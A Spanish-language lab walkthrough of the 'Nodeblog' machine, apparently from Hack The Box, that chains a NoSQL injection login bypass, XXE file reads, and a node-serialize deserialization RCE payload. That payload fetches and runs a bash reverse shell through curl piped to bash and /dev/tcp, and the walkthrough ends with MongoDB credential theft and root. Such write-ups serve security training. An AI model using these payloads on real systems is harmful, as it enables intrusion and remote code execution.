Entrada

Nodeblog

Nodeblog

Skills

  • NoSQL Injection (Authentication Bypass)
  • XXE File Read
  • NodeJS Deserialization Attack (IIFE Abusing)
  • Mongo Database Enumeration

Certificaciones

  • eJPT
  • eWPT

Descripción

Nodeblog es una máquina easy linux, nos encontramos ante una web vulnerable a NoSQL Injection mediante la cual accedemos al panel administrativo, posteriormente aprovechamos un XXE para leer el archivo server.js sobre que está montado el servidor web. Usando la información obtenida del archivo server.js explotamos un Deserialization Attack mediante el cual ganamos acceso a la máquina víctima. Una vez dentro de la máquina víctima nos conectamos a mongodb y obtenemos unas credenciales que nos permiten escalar privilegios en root


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
9
# ping 10.129.96.160
PING 10.129.96.160 (10.129.96.160) 56(84) bytes of data.
64 bytes from 10.129.96.160: icmp_seq=1 ttl=63 time=61.0 ms
64 bytes from 10.129.96.160: icmp_seq=2 ttl=63 time=58.3 ms
64 bytes from 10.129.96.160: icmp_seq=3 ttl=63 time=60.3 ms
^C
--- 10.129.96.160 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 58.256/59.879/61.041/1.182 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.96.160 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 20:17 CEST
Initiating SYN Stealth Scan at 20:17
Scanning 10.129.96.160 [65535 ports]
Discovered open port 22/tcp on 10.129.96.160
Discovered open port 5000/tcp on 10.129.96.160
Completed SYN Stealth Scan at 20:18, 15.34s elapsed (65535 total ports)
Nmap scan report for 10.129.96.160
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.43 seconds
           Raw packets sent: 75321 (3.314MB) | Rcvd: 75329 (3.013MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# nmap -sCV -p 22,5000 10.129.96.160 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 20:18 CEST
Nmap scan report for 10.129.96.160
Host is up (0.11s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.15 seconds

Web Enumeration

Si accedemos a http://10.129.96.160:5000/

Si pulsamos en Login nos redirigirá a este panel

Web Exploitation

Debemos capturar la petición de login con Burpsuite y efectuar un Authentication Bypass https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#authentication-bypass, para ello debemos cambiar el Content-Type: application/json e inyectar el payload

1
{"user": {"$ne": null}, "password": {"$ne": null}}

Una vez logueados vemos esto

Si pulsamos en Upload y subimos un archivo .txt nos veremos el mensaje Invalid XML Example: Example DescriptionExample Markdown. Si pulsamos CTRL + U para ver el código fuente de la página veremos esto Invalid XML Example: <post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>, un archivo xml con esta estructura sería este

1
2
3
4
5
<post>
    <title>Example Post</title>
    <description>Example Description</description>
    <markdown>Example Markdown</markdown>
</post>

Al subir el archivo se nos rellenan automáticamente los campos de texto, lo que quiere decir que está interpretando el xml

Diseñamos este payload para leer el /etc/passwd de la máquina víctima

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<post>
    <title>Example Post</title>
    <description>Example Description</description>
    <markdown>&xxe;</markdown>
</post>

Subimos el archivo y vemos que nos lo interpreta

Debido a que el servidor usa nodejs, provoco un error para ver rutas interesantes y descubro que el servidor de aloja en la ruta /opt/blog

Diseñamos un nuevo payload para ver el código de server.js que es donde se aloja el servidor web

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///opt/blog/server.js'>]>
<post>
    <title>Example Post</title>
    <description>Example Description</description>
    <markdown>&xxe;</markdown>
</post>

El archivo server.js existe debido a que es el nombre por defecto que suele tener el archivo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()

mongoose.connect('mongodb://localhost/blog')

app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));

function authenticated(c) {
    if (typeof c == 'undefined')
        return false

    c = serialize.unserialize(c)

    if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
        return true
    } else {
        return false
    }
}


app.get('/', async (req, res) => {
    const articles = await Article.find().sort({
        createdAt: 'desc'
    })
    res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})

app.use('/articles', articleRouter)
app.use('/login', loginRouter)


app.listen(5000)

Vemos que se está empleando node-serealize, a la hora de procesar la cookie https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Node.md, debemos añadir () para que se acontezca un JavaScript immediately invoked function expressions (IIFEs). Este es el payload que usaremos para validar el Deserialization Attack

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.16.23', function(error,stdout, stderr) { console.log(stdout) });}()"}

Lo siguiente que debemos hacer es urlencodear este payload, en mi caso voy a usar el decoder de Burpsuite

1
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%36%2e%32%33%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7d

Nos ponemos en escucha de trazas icmp

1
# sudo tcpdump -i tun0 icmp

Reemplazamos la cookie de sesión por la nuestro payload y recargamos la página

Recibimos las trazas icmp

1
2
3
4
5
# sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:46:06.432195 IP 10.129.178.26 > 10.10.16.23: ICMP echo request, id 1, seq 1, length 64
00:46:06.432236 IP 10.10.16.23 > 10.129.178.26: ICMP echo reply, id 1, seq 1, length 64

Intrusión

Nos creamos una archivo shell

1
bash -i >& /dev/tcp/10.10.16.23/9001 0>&1

Nos creamos un servidor http con python en el mismo directorio que el archivo shell

1
# python -m http.server 80

Nos ponemos en escucha por el puerto 9001

1
# nc -nlvp 9001

Creamos el nuevo payload y lo urlencodeamos usando Burpsuite

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.16.23/shell|bash', function(error,stdout, stderr) { console.log(stdout) });}()"}
1
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%33%2f%73%68%65%6c%6c%7c%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7d

Insertamos el payload en el campo de la cookie

Recibimos la shell

1
2
3
4
5
6
7
8
9
10
11
12
# nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.23] from (UNKNOWN) [10.129.178.26] 57026
bash: cannot set terminal process group (859): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$ whoami
whoami
admin

Vamos a realizar el tratamiento a la TTY, para ello obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 183

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Privilege Escalation

No nos deja entrar al directorio /home por falta de permisos, sin embargo como es nuestro directorio podemos darle los permisos que queramos

1
2
3
4
5
6
admin@nodeblog:/home$ ls -l
ls -l
total 0
drw-r--r-- 1 admin admin 220 Jan  3  2022 admin
admin@nodeblog:/home$ chmod 755 admin
chmod 755 admin

Entramos al directorio

1
2
3
4
5
6
admin@nodeblog:/home$ ls -l
ls -l
total 0
drwxr-xr-x 1 admin admin 220 Jan  3  2022 admin
admin@nodeblog:/home$ cd admin
cd admin

Listamos el contenido del directorio /home

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
admin@nodeblog:~$ ls -la
total 40
drwxr-xr-x 1 admin admin   270 Aug 20 03:18 .
drwxr-xr-x 1 root  root     10 Dec 27  2021 ..
-rw-r--r-- 1 admin admin  1024 Aug 20 03:18 ..bash_historhy.swp
-rw------- 1 admin admin  1863 Dec 31  2021 .bash_history
-rw-r--r-- 1 admin admin   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 admin admin  3771 Feb 25  2020 .bashrc
drwx------ 1 admin admin    40 Jul  2  2021 .cache
-rw------- 1 admin admin   148 Aug 20 03:23 .dbshell
drwxr-xr-x 1 admin admin    10 Aug 20 03:18 .local
-rw------- 1 admin admin     0 Dec 13  2021 .mongorc.js
drwxrwxr-x 1 admin admin   172 Aug 20 03:15 .pm2
-rw-r--r-- 1 admin admin   807 Feb 25  2020 .profile
-rw-r--r-- 1 admin admin     0 Jul  2  2021 .sudo_as_admin_successful
-rw------- 1 admin admin 10950 Jan  3  2022 .viminfo
-rw-r--r-- 1 root  root     33 Aug 20 02:53 user.txt

En el historial he encontrado esto

1
2
admin@nodeblog:~$ cat .bash_history
mongo --host mongodb://localhost:27017

Nos conectamos a mongodb y obtenemos la contraseña del usuario admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
admin@nodeblog:~$ mongo --host mongodb://localhost:27017
MongoDB shell version v3.6.8
connecting to: mongodb://localhost:27017
Implicit session: session { "id" : UUID("aabbc600-e3fe-4d8d-8eaa-657eb8f3bd81") }
MongoDB server version: 3.6.8
Server has startup warnings: 
2024-08-20T02:52:52.595+0000 I CONTROL  [initandlisten] 
2024-08-20T02:52:52.595+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2024-08-20T02:52:52.595+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2024-08-20T02:52:52.595+0000 I CONTROL  [initandlisten] 
> show dbs
admin   0.000GB
blog    0.000GB
config  0.000GB
local   0.000GB
> use blog
switched to db blog
> show collections
articles
users
> db.users.find().pretty()
{
	"_id" : ObjectId("61b7380ae5814df6030d2373"),
	"createdAt" : ISODate("2021-12-13T12:09:46.009Z"),
	"username" : "admin",
	"password" : "IppsecSaysPleaseSubscribe",
	"__v" : 0
}

Nos convertimos en usuario root

1
2
3
4
admin@nodeblog:~$ sudo su
[sudo] password for admin: 
root@nodeblog:/home/admin# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.